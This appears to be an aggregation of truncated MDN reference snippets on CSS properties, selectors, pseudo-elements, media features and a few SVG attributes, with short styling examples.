... formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting inline padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-inline: 20px 40px; background-color: #c8...
...c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-inline' in that specification.
page-break-after - CSS: Cascading Style Sheets
user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | always | avoid | left | right | recto | verso examples setting a page break after footnotes /* move to a new page after footnotes */ div.footnotes { page-break-after: always; } specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification.
... css paged media module level 3the definition of 'page-break-after' in that specification.
... css level 2 (revision 1)the definition of 'page-break-after' in that specification.
page-break-before - CSS: Cascading Style Sheets
user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | always | avoid | left | right | recto | verso examples avoid a page break before the dic /* avoid page break before the div */ div.note { page-break-before: avoid; } specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification.
... css paged media module level 3the definition of 'page-break-before' in that specification.
... css level 2 (revision 1)the definition of 'page-break-before' in that specification.
paint() - CSS: Cascading Style Sheets
WebCSSpaint
parameters optional additional parameters to pass to the paintworklet examples you can pass additional arguments via the css paint() function.
... specifications specification status comment css painting api level 1the definition of 'paint notation' in that specification.
...support nosamsung internet android full support 9.2legend full support full support no support no support see also paintworklet css painting api using the css painting api <image> canvas ...
place-content - CSS: Cascading Style Sheets
flex container html <div id="container"> <div class="small">lorem</div> <div class="small">lorem<br/>ipsum</div> <div class="large">lorem</div> <div class="large">lorem<br/>impsum</div> <div class="large"></div> <div class="large"></div> </div> <code>writing-mode:</code><select id="writingmode"> <option value="horizontal-tb" selected>horizontal-tb</option> <option value="vertical-rl">vertical-rl</option> <option value="vertical-lr">vertical-lr</option> <option value="sideways-rl">sideways-rl</option> <option value="sideways-lr">sideways-lr</option> </select><code>;</code><br/> <code>direction:</code><select id="direction"> <option value="ltr" selected>ltr</option> <option value="rtl">rtl</option> </select><code>;</code><br/> <code>place-content:</code><select i...
...byid("container").style.writingmode = evt.target.value; }); var direction = document.getelementbyid("direction"); direction.addeventlistener("change", function (evt) { document.getelementbyid("container").style.direction = evt.target.value; }); css #container { display: flex; height:240px; width: 240px; flex-wrap: wrap; background-color: #8c8c8c; writing-mode: horizontal-tb; /* can be changed in the live sample */ direction: ltr; /* can be changed in the live sample */ place-content: flex-end center; /* can be changed in the live sample */ } div > div { border: 2px solid #8c8c8c; width: 50px; background-color: #a0c8ff; } .small { font-size: 12px; height: 40px; } .large { font-size: 14px; height: 50px; } result specifications specificatio...
...n status comment css box alignment module level 3the definition of 'place content' in that specification.
scroll-margin-inline-end - CSS: Cascading Style Sheets
0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: end; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: end, which specifies that the right-hand edges (the "ends" along the x axis, in our case) are the designated snap points.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-end' in that specification.
... candidate recommendation initial definition ...
scroll-margin-inline-start - CSS: Cascading Style Sheets
250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
... result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-start' in that specification.
... candidate recommendation initial definition ...
scroll-snap-points-y - CSS: Cascading Style Sheets
the scroll-snap-points-y css property defines the vertical positioning of snap points within the content of the scroll container they are applied to.
... formal definition initial valuenoneapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax none | repeat( <length-percentage> )where <length-percentage> = <length> | <percentage> examples setting vertical scroll snap points html <div id="container"> <div>1</div> <div>2</div> <div>3</div> </div> css #container { height: 200px; width: 220px; overflow-x: hidden; overflow-y: auto; scroll-snap-points-y: repeat(200px); scroll-snap-type: mandatory; font-size: 0; } #container > div { width: 200px; height: 200px; display: inline-block; line-height: 200px; text-align: cen...
...ter; font-size: 100px; } #container > div:nth-child(even) { background-color: #87ea87; } #container > div:nth-child(odd) { background-color: #87ccea; } result specifications not part of any standard.
scroll-snap-stop - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | always examples snapping in different axes this example is duplicated from scroll-snap-type with minor variances.
...rtl</div> <div>2</div> <div>3</div> <div>4</div> <div>5</div> </div> result specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-stop' in that specification.
... candidate recommendation initial definition ...
shape-margin - CSS: Cascading Style Sheets
formal definition initial value0applies tofloatsinheritednopercentagesrefer to the width of the containing blockcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length, percentage or calc(); formal syntax <length-percentage>where <length-percentage> = <length> | <percentage> examples adding a margin to a polygon html <section> <div class="shape"></div> we are not quite sure of any one thing in biology; our knowledge of geology is relatively very slight, and the economic laws of society are uncertain to every one except some individual who attempts to set them forth; but be...
...it will be so after this world is dead; and the inhabitant of mars, if he exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px; background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specification status comment css shapes module level 1the definition of 'shape-margin' in that specification.
... candidate recommendation initial definition ...
Specified value - CSS: Cascading Style Sheets
examples html <p>my specified color is given explicitly in the css.</p> <div>the specified values of all my properties default to their initial values, because none of them are given in the css.</div> <div class="fun"> <p>the specified value of my font family is not given explicitly in the css, so it is inherited from my parent.
... however, the border is not an inheriting property.</p> </div> css .fun { border: 1px dotted pink; font-family: fantasy; } p { color: green; } result specifications specification status comment css level 2 (revision 2)the definition of 'cascaded value' in that specification.
... working draft css level 2 (revision 1)the definition of 'cascaded value' in that specification.
table-layout - CSS: Cascading Style Sheets
under the "fixed" layout method, the entire table can be rendered once the first table row has been downloaded and analyzed.
... this can speed up rendering time over the "automatic" layout method, but subsequent cell content might not fit in the column widths provided.
... html <table> <tr><td>ed</td><td>wood</td></tr> <tr><td>albert</td><td>schweitzer</td></tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; border: 1px solid red; } td { border: 1px solid blue; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } result specifications specification status comment css level 2 (revision 1)the definition of 'table-layout' in that specification.
text-decoration-line - CSS: Cascading Style Sheets
this value is deprecated in favor of css animations.
... none | [ underline | overline | line-through | blink ] | spelling-error | grammar-error examples <p class="wavy">here's some text with wavy red underline!</p> <p class="both">this text has lines both above and below it.</p> .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } .both { text-decoration-line: underline overline; } specifications specification status comment css text decoration module level 3the definition of 'text-decoration-line' in that specification.
... candidate recommendation initial definition.
text-decoration-style - CSS: Cascading Style Sheets
as browsers can disable styling in some cases, the semantic meaning won't disappear in such a situation.
...-text-decoration-style: wavy; -moz-text-decoration-color: red; -webkit-text-decoration-line: underline; -webkit-text-decoration-style: wavy; -webkit-text-decoration-color: red; } css .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } html <p class="wavy">this text has a wavy red line beneath it.</p> results specifications specification status comment css text decoration module level 3the definition of 'text-decoration-style' in that specification.
... candidate recommendation initial definition.
transform-box - CSS: Cascading Style Sheets
without it, the transform origin is the center of the svg canvas, and so you get a very different effect.
... svg{ width:80vh; border:1px solid #d9d9d9; position:absolute; margin: auto; top: 0; right: 0; bottom: 0; left: 0; } #box{ transform-origin:50% 50%; /*+++++++++++++++++++++++++++*/ /* if i remove this rule the pen won't work properly on chrome for mac, ff, safari will still work properly on chrome for pc & opera*/ transform-box: fill-box; /*alternatively i can use transform-origin:15px 15px;*/ /*+++++++++++++++++++++++++++*/ animation: rotatebox 3s linear infinite; } @keyframes rotatebox { to { transform: rotate(360deg); } full credit for this example goes to pogany; see this codepen for a live version.
... specifications specification status comment css transforms level 1the definition of 'transform-box' in that specification.
perspective() - CSS: Cascading Style Sheets
cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 this transformation applies to the 3d space and can't be represented on the plane.
... this transformation is not a linear transformation in ℝ3, and can't be represented using a cartesian-coordinate matrix.
...-15deg) rotatey(30deg); } .perspective-box-closer { transform: perspective(4cm) rotatex(-15deg) rotatey(30deg); } .top { background-color: skyblue; transform: rotatex(90deg) translate3d(0, 0, 50px); } .left { background-color: pink; transform: rotatey(-90deg) translate3d(0, 0, 50px); } .front { background-color: limegreen; transform: translate3d(0, 0, 50px); } result specifications specification status comment css transforms level 2the definition of 'perspective()' in that specification.
rotateY() - CSS: Cascading Style Sheets
the rotatey() css function defines a transformation that rotates an element around the ordinate (vertical axis) without deforming it.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 this transformation applies to the 3d space and can't be represented on the plane.
... cos(a)0sin(a)010-sin(a)0cos(a) cos(a)0sin(a)00100-sin(a)0cos(a)00001 examples html <div>normal</div> <div class="rotated">rotated</div> css div { width: 80px; height: 80px; background-color: skyblue; } .rotated { transform: rotatey(60deg); background-color: pink; } result specifications specification status comment css transforms level 2the definition of 'rotatey()' in that specification.
skew() - CSS: Cascading Style Sheets
this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the horizontal and vertical directions.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 1tan(ax)tan(ay)1 1tan(ax)0tan(ay)10001 1tan(ax)0tan(ay)10001 1tan(ax)00tan(ay)10000100001 [1 tan(ay) tan(ax) 1 0 0] examples using a single x-angle html <div>normal</div> <div class="skewed">skewed</div> css ...
...: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg); /* equal to skewx(10deg) */ background-color: pink; } result using two angles html <div>normal</div> <div class="skewed">skewed</div> css div { width: 80px; height: 80px; background-color: skyblue; } .skewed { transform: skew(10deg, 10deg); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'skew()' in that specification.
translateY() - CSS: Cascading Style Sheets
the translatey() css function repositions an element vertically on the 2d plane.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3 a translation is not a linear transformation in ℝ2 and can't be represented using a cartesian-coordinate matrix.
... 10001t001 10001t001 1000010t00100001 [1 0 0 1 0 t] formal syntax translatey(<length-percentage>) examples html <div>static</div> <div class="moved">moved</div> <div>static</div> css div { width: 60px; height: 60px; background-color: skyblue; } .moved { transform: translatey(10px); background-color: pink; } result specifications specification status comment css transforms level 1the definition of 'translatey()' in that specification.
transition-delay - CSS: Cascading Style Sheets
if there are more delays, the list of delay values will be truncated to match the number of properties.
... in both cases, the css declaration remains valid.
...or; transition-duration:2s; transition-delay:4s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); specifications specification status comment css transitionsthe definition of 'transition-delay' in that specification.
transition - CSS: Cascading Style Sheets
different states may be defined using pseudo-classes like :hover or :active or dynamically set using javascript.
...the first value that can be parsed as a time is assigned to the transition-duration, and the second value that can be parsed as a time is assigned to transition-delay.
... specifications specification status comment css transitionsthe definition of 'transition' in that specification.
user-modify - CSS: Cascading Style Sheets
it was originally planned to determine whether or not the content of an element can be edited by a user.
... examples html <div class="readwrite">the user is able to change this text.</div> css .readwrite { -moz-user-modify: read-write; -webkit-user-modify: read-write; } specifications not part of any standard.
... a similar property, user-focus, was proposed in early drafts of a predecessor of the css3 ui specification, but was rejected by the working group.
cap-height - SVG: Scalable Vector Graphics
the cap-height attribute defines the height of uppercase glyphs of the font within the font coordinate system.
... note: it was specified to share the syntax and semantics of the obsolete cap-height descriptor of the @font-face at-rule defined in an early version of css 2.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'cap-height' in that specification.
mathematical - SVG: Scalable Vector Graphics
the mathematical attribute indicates the alignment coordinate for glyphs to achieve mathematical baseline alignment for horizontally oriented glyph layouts.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'mathematical' in that specification.
v-mathematical - SVG: Scalable Vector Graphics
the v-mathematical attribute indicates the alignment coordinate for glyphs to achieve mathematical baseline alignment for vertically oriented glyph layouts.
... only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-mathematical' in that specification.
<discard> - SVG: Scalable Vector Graphics
WebSVGElementdiscard
the <discard> svg element allows authors to specify the time at which particular elements are to be discarded, thereby reducing the resources required by an svg user agent.
... the <discard> element may occur wherever the <animate> element may.
... usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements<script> attributes global attributes conditional processing attributes core attributes aria attributes specific attributes begin href (but note that <discard> has never supported xlink:href) specifications specification status comment svg animations level 2the definition of '<discard>' in that specification.
RTCIceCandidateStats.mozLocalTransport - Web APIs
the non-standard mozilla extension to the rtcicecandidatestats dictionary, mozlocaltransport, has been supplanted by the standard relayprotocol property.
... syntax instead of using mozlocaltransport, you should use code like this: localtransport = rtcicecandidatestats.relayprotocol; specifications not part of any specification.
-moz-force-broken-image-icon - CSS: Cascading Style Sheets
the -moz-force-broken-image-icon extended css property can be used to force the broken image icon to be shown even when a broken image has an alt attribute.
... specifications not part of any standard.
-moz-image-region - CSS: Cascading Style Sheets
syntax values auto automatically defines the region of the image to use.
..., <bottom>, <left>) examples clipping an image #example-button { /* display only the 4x4 area from the top left of this image */ list-style-image: url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover { /* use the 4x4 area to the right of the first for the hovered button */ -moz-image-region: rect(0px, 8px, 4px, 4px); } specifications not part of any standard.
-webkit-mask-attachment - CSS: Cascading Style Sheets
/* keyword values */ -webkit-mask-attachment: scroll; -webkit-mask-attachment: fixed; -webkit-mask-attachment: local; /* multiple values */ -webkit-mask-attachment: scroll, local; -webkit-mask-attachment: fixed, local, scroll; /* global values */ -webkit-mask-attachment: inherit; -webkit-mask-attachment: initial; -webkit-mask-attachment: unset; syntax values scroll if scroll is specified, the mask image scrolls within the viewport along with the block that contains the mask image.
... formal definition initial valuescrollapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <attachment>#where <attachment> = scroll | fixed | local examples fixing a mask image to the viewport body { -webkit-mask-image: url('images/mask.png'); -webkit-mask-attachment: fixed; } specifications not part of any standard.
-webkit-mask-box-image - CSS: Cascading Style Sheets
al value: none applies to: all elements inherited: no media: visual computed value: as specified syntax -webkit-mask-box-image: <mask-box-image> [<top> <right> <bottom> <left> <x-repeat> <y-repeat>] where: <mask-box-image> <uri> | <gradient> | none <top> <right> <bottom> <left> <length> | <percentage> <x-repeat> <y-repeat> repeat | stretch | round | space values <uri> the location of the image resource to be used as a mask image.
... examples setting an image .exampleone { -webkit-mask-box-image: url('mask.png'); } offsetting and filling an image .exampletwo { -webkit-mask-box-image: url('logo.png') 100 100 0 0 round round; } specifications not part of any standard.
-webkit-print-color-adjust - CSS: Cascading Style Sheets
the -webkit-print-color-adjust property is a non-standard css extension that can be used to force printing of background colors and images in browsers based on the webkit engine.
... examples forcing white-on-black printing article { -webkit-print-color-adjust: exact; background: #222; color: #eee; } specifications not part of any standard, though there is a proposal in the csswg wiki to standardize it.
-webkit-text-fill-color - CSS: Cascading Style Sheets
formal definition initial valuecurrentcolorapplies toall elementsinheritedyescomputed valuecomputed coloranimation typea color formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples changing the fill color css p { margin: 0; font-size: 3em; -webkit-text-fill-color: green; } html <p>this text is green.</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-fill-color' in that specification.
-webkit-text-security - CSS: Cascading Style Sheets
-webkit-text-security is a non-standard css property that obfuscates characters in a <form> field (such as <input> or <textarea>) by replacing them with a shape.
... html <label for="name">name:</label> <input type="text" name="name" id="name" /> css input { -webkit-text-security: square; } result specifications not part of any standard.
-webkit-text-stroke - CSS: Cascading Style Sheets
ueas each of the properties of the shorthand:-webkit-text-stroke-width: absolute <length>-webkit-text-stroke-color: computed coloranimation typeas each of the properties of the shorthand:-webkit-text-stroke-width: discrete-webkit-text-stroke-color: a color formal syntax <length> | <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples adding a red text stroke html <p id="example">the stroke of this text is red.</p> css #example { font-size: 3em; margin: 0; -webkit-text-stroke: 2px red; } result specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke' in that specification.
:-moz-drag-over - CSS: Cascading Style Sheets
the :-moz-drag-over css pseudo-class is a mozilla extension that matches an element when a dragover event is called on it.
... syntax :-moz-drag-over examples html <table border="1"> <tr> <td width="100px" height="100px">drag over</td> </tr> </table> css td:-moz-drag-over { color: red; } result specifications not part of any standard.
:-moz-first-node - CSS: Cascading Style Sheets
it differs from :first-child because it does not match a first-child element with (non-whitespace) text before it.
... <span>this doesn't match because it's preceded by text.</span> </p> result specifications not part of any standard.
:-moz-handler-blocked - CSS: Cascading Style Sheets
the :-moz-handler-blocked css pseudo-class is a mozilla extension that matches elements that can't be displayed because their handlers have been blocked.
... syntax :-moz-handler-blocked specifications not part of any standard.
:-moz-handler-crashed - CSS: Cascading Style Sheets
the :-moz-handler-crashed css pseudo-class is a mozilla extension that matches elements that can't be displayed because the plugin responsible for drawing them has crashed.
... syntax :-moz-handler-crashed specifications not part of any standard.
:-moz-handler-disabled - CSS: Cascading Style Sheets
the :-moz-handler-disabled css pseudo-class is a mozilla extension that matches elements that can't be displayed because their handlers have been disabled by the user.
... syntax :-moz-handler-disabled specifications not part of any standard.
::-moz-list-bullet - CSS: Cascading Style Sheets
the ::-moz-list-bullet css pseudo-element is a mozilla extension that represents the marker (typically a bullet) of a list item (<li>) in an unordered list (<ul>).
... syntax li::-moz-list-bullet examples html <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> css ::-moz-list-bullet { color: red; font-size: 1.5em; } result specifications not part of any standard.
::-moz-list-number - CSS: Cascading Style Sheets
the ::-moz-list-number css pseudo-element is a mozilla extension that represents the marker (typically a number) of a list item (<li>) in an ordered list (<ol>).
... syntax li::-moz-list-number examples html <ol> <li>first item</li> <li>second item</li> <li>third item</li> </ol> css li::-moz-list-number { font-style: italic; font-weight: bold; } result screenshotlive sample specifications not part of any standard.
:-moz-loading - CSS: Cascading Style Sheets
the :-moz-loading css pseudo-class is a mozilla extension that matches elements that can't be displayed because they have not started loading, such as images that haven't started to arrive yet.
... syntax :-moz-loading examples setting a background for images that are loading :-moz-loading { background-color: #aaa; background-image: url(loading-animation.gif) center no-repeat; } specifications not part of any standard.
:-moz-submit-invalid - CSS: Cascading Style Sheets
you can use this pseudo-class to customize the appearance of the submit button when there are invalid form fields.
... specifications not part of any standard.
:-moz-suppressed - CSS: Cascading Style Sheets
the :-moz-suppressed css pseudo-class is a mozilla extension that matches elements representing images that were suppressed because loading images from the specified site has been blocked.
... syntax :-moz-suppressed examples styling elements that have been blocked :-moz-suppressed { background: yellow; padding: 8px; } specifications not part of any standard.
:-moz-ui-invalid - CSS: Cascading Style Sheets
the specification for :user-invalid is still in progress.
... specifications specification status comment selectors level 4the definition of ':user-invalid' in that specification.
:-moz-user-disabled - CSS: Cascading Style Sheets
the :-moz-user-disabled css pseudo-class is a mozilla extension that matches elements representing images that were not loaded because images have been entirely disabled by the user's preferences.
... syntax :-moz-user-disabled examples styling user-disabled elements :-moz-user-disabled { background-color: lightgray; padding: 8px; } specifications not part of any standard.
:-moz-window-inactive - CSS: Cascading Style Sheets
you can view this as a separate page as well.
... specifications not part of any standard.
::-moz-range-progress - CSS: Cascading Style Sheets
the ::-moz-range-progress css pseudo-element is a mozilla extension that represents the lower portion of the track (i.e., groove) in which the indicator slides in an <input> of type="range".
... syntax ::-moz-range-progress examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-progress { background-color: green; height: 1em; } result a progress bar using this style might look something like this: specifications not part of any standard.
::-moz-range-thumb - CSS: Cascading Style Sheets
the user can move the thumb along the input's track to alter its numerical value.
... syntax ::-moz-range-thumb examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-thumb { background-color: green; } result a progress bar using this style might look something like this: specifications not part of any standard.
::-moz-range-track - CSS: Cascading Style Sheets
the ::-moz-range-track css pseudo-element is a mozilla extension that represents the track (i.e., groove) in which the indicator slides in an <input> of type="range".
... syntax ::-moz-range-track examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-track { background-color: green; } result a progress bar using this style might look something like this: specifications not part of any standard.
::-webkit-file-upload-button - CSS: Cascading Style Sheets
this pseudo-element is non-standard and only supported in webkit/blink compatible browsers like chrome, opera and safari (indicated by the -webkit prefix).
... screenshotlive sample specifications not part of any standard.
::-webkit-slider-runnable-track - CSS: Cascading Style Sheets
the ::-webkit-slider-runnable-track css pseudo-element represents the "track" (the groove in which the indicator slides) of an <input type="range">.
... syntax ::-webkit-slider-runnable-track specifications not part of any standard.
::-webkit-slider-thumb - CSS: Cascading Style Sheets
the ::-webkit-slider-thumb css pseudo-element represents the "thumb" that the user can move within the "groove" of an <input> of type="range" to alter its numerical value.
... syntax ::-webkit-slider-thumb specifications not part of any standard.
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
in this demo we use a simple template with three slots: <template id="person-template"> <div> <h2>personal id card</h2> <slot name="person-name">name missing</slot> <ul> <li><slot name="person-age">age missing</slot></li> <li><slot name="person-occupation">occupation missing</slot></li> </ul> </div> </template> a custom element — <person-details> — is defined like so: customelements.define('person-details', class extends htmlelement { constructor() { super(); ...
...shazaam</p> <span slot="person-age">immortal</span> <span slot="person-occupation">superhero</span> </person-details> specifications specification status comment css scoping module level 1the definition of '::slotted' in that specification.
::spelling-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown.
... html <p contenteditable spellcheck="true">my friends are coegdfgfddffbgning to the party tonight.</p> css ::spelling-error { text-decoration: wavy red; } result specifications specification status comment css pseudo-elements level 4the definition of '::spelling-error' in that specification.
:host - CSS: Cascading Style Sheets
WebCSS:host
in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; con...
... specifications specification status comment css scoping module level 1the definition of ':host' in that specification.
:last-child - CSS: Cascading Style Sheets
`.</h2> </div> css p:last-child { color: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:last-child { border: 1px solid red; color: red; } result specifications specification status comment selectors level 4the definition of ':last-child' in that specification.
... selectors level 3the definition of ':last-child' in that specification.
:nth-last-of-type() - CSS: Cascading Style Sheets
:nth-last-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples html <div> <span>this is a span.</span> <span>this is another span.</span> <em>this is emphasized.</em> <span>wow, this span gets limed!!!</span> <strike>this is struck through.</strike> <span>here is one last span.</span> </div> css span:nth-last-of-type(2) { background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-last-of-type' in that specification.
... selectors level 3the definition of ':nth-last-of-type' in that specification.
:nth-of-type() - CSS: Cascading Style Sheets
<p class="fancy">4th paragraph.</p> </div> css /* odd paragraphs */ p:nth-of-type(2n+1) { color: red; } /* even paragraphs */ p:nth-of-type(2n) { color: blue; } /* first paragraph */ p:nth-of-type(1) { font-weight: bold; } /* this has no effect, as the .fancy class is only on the 4th p element, not the 1st */ p.fancy:nth-of-type(1) { text-decoration: underline; } result specifications specification status comment selectors level 4the definition of ':nth-of-type' in that specification.
... selectors level 3the definition of ':nth-of-type' in that specification.
:only-child - CSS: Cascading Style Sheets
html <ol> <li>first <ul> <li>this list has just one element.</li> </ul> </li> <li>second <ul> <li>this list has three elements.</li> <li>this list has three elements.</li> <li>this list has three elements.</li> </ul> </li> </ol> css li li { list-style-type: disc; } li:only-child { color: red; list-style-type: square; } result specifications specification status comment selectors level 4the definition of ':only-child' in that specification.
... selectors level 3the definition of ':only-child' in that specification.
:only-of-type - CSS: Cascading Style Sheets
<i>i am the only `i` child.</i> <em>i am `em` #1.</em> <em>i am `em` #2.</em> </div> </main> css main :only-of-type { color: red; } result specifications specification status comment selectors level 4the definition of ':only-of-type' in that specification.
... selectors level 3the definition of ':only-of-type' in that specification.
:state() - CSS: Cascading Style Sheets
WebCSS:state
examples fill in a simple example that nicely shows a typical usage of the selector, then perhaps some more complex examples.
... my code block and/or include a list of links to useful code samples that live elsewhere: x y z specifications specification status comment unknownthe definition of 'the :state() selector' in that specification.
font-display - CSS: Cascading Style Sheets
font failure period if the font face is not loaded, the user agent treats it as a failed load causing normal font fallback.
...ule@font-faceinitial valueautocomputed valueas specified formal syntax [ auto | block | swap | fallback | optional ] examples specifying fallback font-display @font-face { font-family: examplefont; src: url(/path/to/fonts/examplefont.woff) format('woff'), url(/path/to/fonts/examplefont.eot) format('eot'); font-weight: 400; font-style: normal; font-display: fallback; } specifications specification status comment css fonts module level 4the definition of 'font-display' in that specification.
font-family - CSS: Cascading Style Sheets
formal definition related at-rule@font-faceinitial valuen/a (required)computed valueas specified formal syntax <family-name>where <family-name> = <string> | <custom-ident>+ examples setting the font family name @font-face { font-family: examplefont; src: url('examplefont.ttf'); } specifications specification status comment css fonts module level 3the definition of 'font-family' in that specification.
... candidate recommendation initial definition ...
-moz-device-pixel-ratio - CSS: Cascading Style Sheets
the -moz-device-pixel-ratio gecko-only css media feature can be used to apply styles based on the number of device pixels per css pixel.
... specifications not part of any standard.
-webkit-transition - CSS: Cascading Style Sheets
apple has a description in safari css reference; this is now called simply transition there.
...instead, test for transition support using the css @supports at-rule, like this: @supports (transition: initial) { /* css to use if transitions are supported */ } obsolete example before this became obsolete, you could use -webkit-transition in your css like this: @media (-webkit-transition) { /* css to use if transitions are supported */ } specifications not part of any standard.
inverted-colors - CSS: Cascading Style Sheets
the inverted-colors css media feature can be used to test whether the user agent or underlying os is inverting colors.
...if you're not, it should be red on light gray.</p> <p>if the text is gray, your browser doesn't support the `inverted-colors` media feature.</p> css p { color: gray; } @media (inverted-colors: inverted) { p { background: black; color: yellow; } } @media (inverted-colors: none) { p { background: #eee; color: red; } } result specifications specification status comment media queries level 5the definition of 'inverted-colors' in that specification.
pointer - CSS: Cascading Style Sheets
WebCSS@mediapointer
nce: none; border: solid; margin: 0; } input[type="checkbox"]:checked { background: gray; } @media (pointer: fine) { input[type="checkbox"] { width: 15px; height: 15px; border-width: 1px; border-color: blue; } } @media (pointer: coarse) { input[type="checkbox"] { width: 30px; height: 30px; border-width: 2px; border-color: red; } } result specifications specification status comment media queries level 4the definition of 'pointer' in that specification.
... candidate recommendation initial definition.
scripting - CSS: Cascading Style Sheets
WebCSS@mediascripting
the scripting css media feature can be used to test whether scripting (such as javascript) is available.
...:-)</p> css p { color: lightgray; } @media (scripting: none) { .script-none { color: red; } } @media (scripting: initial-only) { .script-initial-only { color: red; } } @media (scripting: enabled) { .script-enabled { color: red; } } result specifications specification status comment media queries level 5the definition of 'scripting' in that specification.
marks - CSS: Cascading Style Sheets
WebCSS@pagemarks
crop marks indicate where the page should be cut.
... formal definition related at-rule@pageinitial valuenonecomputed valueas specified formal syntax none | [ crop | cross ] examples adding crop and cross marks @page { marks: crop cross; } specifications specification status comment css paged media module level 3the definition of 'marks' in that specification.
max-width - CSS: Cascading Style Sheets
syntax /* keyword value */ max-width: auto; /* <length> values */ max-width: 600px; max-width: 80em; max-width: 15cm; /* <percentage> value */ max-width: 75%; values auto the used value is calculated from the other css descriptors' values.
